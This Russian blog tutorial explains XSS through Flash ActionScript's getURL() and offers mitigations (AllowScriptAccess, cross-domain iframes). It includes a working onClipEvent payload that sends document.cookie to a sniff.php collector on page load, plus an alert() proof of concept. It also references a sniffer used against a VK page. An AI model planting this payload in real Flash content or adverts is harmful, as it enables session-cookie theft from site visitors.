XSS уязвимость и Flash ActionScript


 Action Script и XSS атака с помощью flash.swf

Даже не смотря на то, что флеш анимация сейчас не так популярна, как раньше, она по прежнему имеет место быть.

XSS attack ActionScript + JavaScript

XSS attack ActionScript + JavaScript

Поэтому, сегодня я решил немного описать XSS-атаку с помощью Flash.

Ведь такое понятие, как IT безопасность, является тематической составляющей моего блога.

Немного теории.

В среде разработки флеш приложений, есть свой достаточно относительно функциональный, скриптовый язык программирования ActionScript, призванный для того, чтобы сделать веб приложение на Flash, более интерактивным. От себя добавлю, что язык достаточно интересный, ведь когда я учился в институте, то в качестве курсовой работы по ActionScript, мною был разработан и создан сайт на PHP с использованием ActionScript. Но это уже история, которая канула в лету, вместе с рассыпавшимся хардом, т. е. жестким диском. :)

Данная XSS уязвимость связана с тем, что в ActionScript есть такая функция getURL(), с помощью которой, можно выполнить практически любой JavaScript код.

Поэтому данный метод проведения XSS атак, использующих эту уязвимость является достаточно опасным, по целому ряду причин.

К которым можно отнести:

1. Данная уязвимость является активной XSS, которая хранится на сервере, и уже встроена в PHP сценарий. И для ее активации не нужны какие либо действия со стороны пользователя. (Ну разве что зайти на сайт.)

2. Flash-ролики используются достаточно часто в рекламных целях, разными партнерскими программами.

3. На некоторых форумах и порталах, разрешены публикации Flash анимации в аватарах и сообщениях.

 Лучшая тактика => чистая практика. 

Реализация атаки.

XSS attack и Flash ActionScript

XSS attack и Flash ActionScript

Для чистоты :) эксперимента, я нашел свой старенький флеш ролик, выделил один экземпляр клипа на сцене и нажал (F9) т. е. вызвал окно реактора сценариев (Action) и добавил туда:

onClipEvent (load)
{
getURL("javascript:window.location.href = 'http://127.0.0.1/sniff.php?cookie='+document.cookie;");
}

Потом разместил Flash ролик в своем блоге на localhost, и при открытии страницы, все мои данные файлов cookie, были успешно приняты скриптом sniff.php и сохранены в базе. Следовательно данный вид уязвимости все еще актуален. Ведь тестирование я проводил используя обновленную ОС Windows 7, и версии браузеров в ней тоже, самые последние. Причем Kaspersky Internet Security 2013, даже не заметил подвоха.

В данном случае, функция обработчика onClipEvent, сработала на событие (load) загрузка. Это значит, что сценарий будет выполняться при загрузке клипа, т. е. для выполнения вредоносного JavaScript, будет достаточно просто открыть страницу сайта.

Код данного сниффера я уже описывал, когда проводил тестирование на возможность взлома страницы вконтакте. Поэтому всю необходимую информацию можно посмотреть в той статье.

В качестве примера, приведу следующий  Flash клип.

Все в том же  ролике, необходимо создать невидимую кнопку, по нажатию на которую будет появляться классический alert(XSS attack)

Для этого необходимо вызвать обработчик сценариев для кнопки, и добавить туда:

on (release)
{
getURL("javascript:alert('XSS attack!')");
}

В итоге по нажатию на Flash ролик, должно появиться всплывающее окно JavaScript (alert), с текстом XSS attack!

Реализация защиты.

В 2002 году, компания Macromedia опубликовала способы защиты от данного вида ХSS атак. Предложив использовать для защиты два варианта:

1).  Добавление AllowScriptAccess в теги <Object> и <Embed>, которые используются для показа роликов. Параметр AllowScriptAccess имеет три значения:

a). AllowScriptAccess="always" является значением по умолчанию, и разрешает любые действия веб приложению.

b). AllowScriptAccess="SameDomain" разрешается flash приложению, доступ внутри домена, на котором он выполняется. И это тоже, как вы догадываетесь, не есть хорошо.

c). AllowScriptAccess="never" запрещает ролику вообще какие либо действия.

2). Показывать flash анимацию, внутри тега  iframe. Основной момент, на который следует обратить внимание: это то, что  ролик должен находится на другом домене.

 Только в этом случае можно считать, что он не сможет воздействовать на внутренний код страниц сайта. Но многие вебмастера считаю, что использование тега  iframe, не очень хорошо влияет на поисковую оптимизацию.

P.S. В данном случае, приходится надеяться только на добропорядочность партнеров. Однако, на партнеров надейся, а сам не ложай. 😉

Плывут, плывут кораблики…    …куда они плывут?  :)

Скачать бесплатно flash исходник можно здесь